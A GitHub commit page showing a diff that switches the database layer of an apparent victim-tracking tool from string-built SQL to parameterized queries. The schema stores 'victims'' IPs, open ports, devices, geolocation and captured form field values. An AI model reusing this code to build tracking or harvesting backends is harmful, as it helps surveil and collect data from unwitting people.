Skip to content

Commit

Permalink
SQL Insert error for some region [FIXED]
Browse files Browse the repository at this point in the history
  • Loading branch information
Jhonathan Espinosa committed Nov 5, 2017
1 parent 4035b51 commit 6281491
Show file tree
Hide file tree
Showing 3 changed files with 54 additions and 36 deletions.
79 changes: 48 additions & 31 deletions core/db.py
View file
Expand Up @@ -28,74 +28,91 @@ def loadDatabase(self):
return True

def sql_execute(self, sentence):
self.cursor.execute(sentence)
if type(sentence) is str:
self.cursor.execute(sentence)
else:
self.cursor.execute(sentence[0], sentence[1])
return self.cursor.fetchall()

def sql_one_row(self, sentence, column):
self.cursor.execute(sentence)
if type(sentence) is str:
self.cursor.execute(sentence)
else:
self.cursor.execute(sentence[0], sentence[1])
return self.cursor.fetchone()[column]

def sql_insert(self, sentence):
self.cursor.execute(sentence)
if type(sentence) is str:
self.cursor.execute(sentence)
else:
self.cursor.execute(sentence[0], sentence[1])
self.conn.commit()
return True

def prop_sentences_stats(self, type, vId = None):
return {
'get_data' : "SELECT victims.*, geo.*, victims.ip AS ip_local, COUNT(clicks.id) FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC",
'all_networks' : "SELECT networks.* FROM networks ORDER BY id",
'get_preview' : "SELECT victims.*, geo.*, victims.ip AS ip_local FROM victims INNER JOIN geo ON victims.id = geo.id WHERE victims.id = '%s'" % (vId),
'id_networks' : "SELECT networks.* FROM networks WHERE id = '%s'" % (vId),
'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ",
'get_sessions' : "SELECT COUNT(*) AS Total FROM networks",
'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks",
'get_online' : "SELECT COUNT(*) AS Total FROM victims WHERE status = '%s'" % ('online')
'get_data' : "SELECT victims.*, geo.*, victims.ip AS ip_local, COUNT(clicks.id) FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC",
'all_networks' : "SELECT networks.* FROM networks ORDER BY id",
'get_preview' : ("SELECT victims.*, geo.*, victims.ip AS ip_local FROM victims INNER JOIN geo ON victims.id = geo.id WHERE victims.id = ?" , vId),
'id_networks' : ("SELECT networks.* FROM networks WHERE id = ?", vId),
'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ",
'get_sessions' : "SELECT COUNT(*) AS Total FROM networks",
'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks",
'get_online' : ("SELECT COUNT(*) AS Total FROM victims WHERE status = ?", vId)
}.get(type, False)

def sentences_stats(self, type, vId = None):
return self.sql_execute(self.prop_sentences_stats(type, vId))
return self.sql_execute(self.prop_sentences_stats(type, vId))

def prop_sentences_victim(self, type, data = None):
if type == 'count_victim':
return "SELECT COUNT(*) AS C FROM victims WHERE id = '%s'" % (data)
t = (data,)
return ("SELECT COUNT(*) AS C FROM victims WHERE id = ?" , t)
elif type == 'count_times':
return "SELECT COUNT(*) AS C FROM clicks WHERE id = '%s'" % (data)
t = (data,)
return ("SELECT COUNT(*) AS C FROM clicks WHERE id = ?" , t)
elif type == 'update_victim':
return "UPDATE victims SET ip = '%s', date = '%s', bVersion = '%s', browser = '%s', device = '%s', ports = '%s', time = '%s', cpu = '%s', status = '%s' WHERE id = '%s'" % (data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1])
t = (data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1],)
return ("UPDATE victims SET ip = ?, date = ?, bVersion = ?, browser = ?, device = ?, ports = ?, time = ?, cpu = ?, status = ? WHERE id = ?", t)
elif type == 'update_victim_geo':
return "UPDATE geo SET city = '%s', country_code = '%s', country_name = '%s', ip = '%s', latitude = '%s', longitude = '%s', metro_code = '%s', region_code = '%s', region_name = '%s', time_zone = '%s', zip_code = '%s', isp = '%s', ua='%s' WHERE id = '%s'" % (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1])
t = (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1],)
return ("UPDATE geo SET city = ?, country_code = ?, country_name = ?, ip = ?, latitude = ?, longitude = ?, metro_code = ?, region_code = ?, region_name = ?, time_zone = ?, zip_code = ?, isp = ?, ua=? WHERE id = ?", t)
elif type == 'insert_victim':
return "INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES('%s','%s', '%s','%s', '%s','%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online')
t = (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online',)
return ("INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES(?,?, ?,?, ?,?, ?, ?, ?, ?)", t)
elif type == 'insert_victim_geo':
return "INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua) VALUES('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua)
t = (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua,)
return ("INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)" , t)
elif type == 'count_victim_network':
return "SELECT COUNT(*) AS C FROM networks WHERE id = '%s' AND network = '%s'" % (data[0], data[1])
return ("SELECT COUNT(*) AS C FROM networks WHERE id = ? AND network = ?", (data[0], data[1],))
elif type == 'delete_networks':
return "DELETE FROM networks WHERE id = '%s'" % (data[0])
return ("DELETE FROM networks WHERE id = ?", (data[0],))
elif type == 'update_network':
return "UPDATE networks SET date = '%s' WHERE id = '%s' AND network = '%s'" % (data[2], data[0], data[1])
return ("UPDATE networks SET date = ? WHERE id = ? AND network = ?" , (data[2], data[0], data[1],))
elif type == 'insert_networks':
return "INSERT INTO networks(id, public_ip, ip, network, date) VALUES('%s','%s', '%s', '%s','%s')" % (data[0], data[1], data[2], data[3], data[4])
t = (data[0], data[1], data[2], data[3], data[4],)
return ("INSERT INTO networks(id, public_ip, ip, network, date) VALUES(?,?, ?, ?,?)" , t)
elif type == 'insert_requests':
return "INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES('%s', '%s','%s', '%s', '%s','%s', '%s')" % (data[0].sId, data[0].id, data[0].site, data[0].fid, data[0].name, data[0].value, data[1])
t = (data[0].sId, data[0].id, data[0].site, data[0].fid, data[0].name, data[0].value, data[1],)
return ("INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES(?, ?,?, ?, ?,?, ?)" , t)
elif type == 'insert_click':
return "INSERT INTO clicks(id, site, date) VALUES('%s', '%s','%s')" % (data[0], data[1], data[2])
return ("INSERT INTO clicks(id, site, date) VALUES(?, ?,?)", (data[0], data[1], data[2],))
elif type == 'report_online':
return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('online', data[0])
return ("UPDATE victims SET status = ? WHERE id = ?" , ('online', data[0],))
elif type == 'clean_online':
return "UPDATE victims SET status = '%s' " % ('offline')
return ("UPDATE victims SET status = ? ", ('offline',))
elif type == 'disconnect_victim':
return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('offline', data)
return ("UPDATE victims SET status = ? WHERE id = ?" , ('offline', data,))
else:
return False
return False

def sentences_victim(self, type, data = None, sRun = 1, column = 0):
if sRun == 2:
return self.sql_insert(self.prop_sentences_victim(type, data))
return self.sql_insert(self.prop_sentences_victim(type, data))
elif sRun == 3:
return self.sql_one_row(self.prop_sentences_victim(type, data), column)
return self.sql_one_row(self.prop_sentences_victim(type, data), column)
else:
return self.sql_execute(self.prop_sentences_victim(type, data))
return self.sql_execute(self.prop_sentences_victim(type, data))

def __del__(self):
self.conn.close()
9 changes: 5 additions & 4 deletions core/stats.py
View file
Expand Up @@ -47,21 +47,22 @@ def home_get_dat():
d = db.sentences_stats('get_data')
n = db.sentences_stats('all_networks')

('clean_online')
rows = db.sentences_stats('get_clicks')
c = rows[0][0]
rows = db.sentences_stats('get_sessions')
s = rows[0][0]
rows = db.sentences_stats('get_online')
vId = ('online', )
rows = db.sentences_stats('get_online', vId)
o = rows[0][0]

return json.dumps({'status' : 'OK', 'd' : d, 'n' : n, 'c' : c, 's' : s, 'o' : o});

@app.route("/get_preview", methods=["POST"])
def home_get_preview():
vId = request.form['vId']
d = db.sentences_stats('get_preview', vId)
n = db.sentences_stats('id_networks', vId)
t = (vId,)
d = db.sentences_stats('get_preview', t)
n = db.sentences_stats('id_networks', t)
return json.dumps({'status' : 'OK', 'vId' : vId, 'd' : d, 'n' : n});

@app.route("/get_title", methods=["POST"])
Expand Down
2 changes: 1 addition & 1 deletion core/victim.py
View file
Expand Up @@ -97,5 +97,5 @@ def registerRequest():
@app.route("/tping", methods=["POST"])
def receivePing():
vrequest = request.form['id']
db.sentences_victim('report_online', [vrequest])
db.sentences_victim('report_online', [vrequest], 2)
return json.dumps({'status' : 'OK', 'vId' : vrequest});

0 comments on commit 6281491

Please sign in to comment.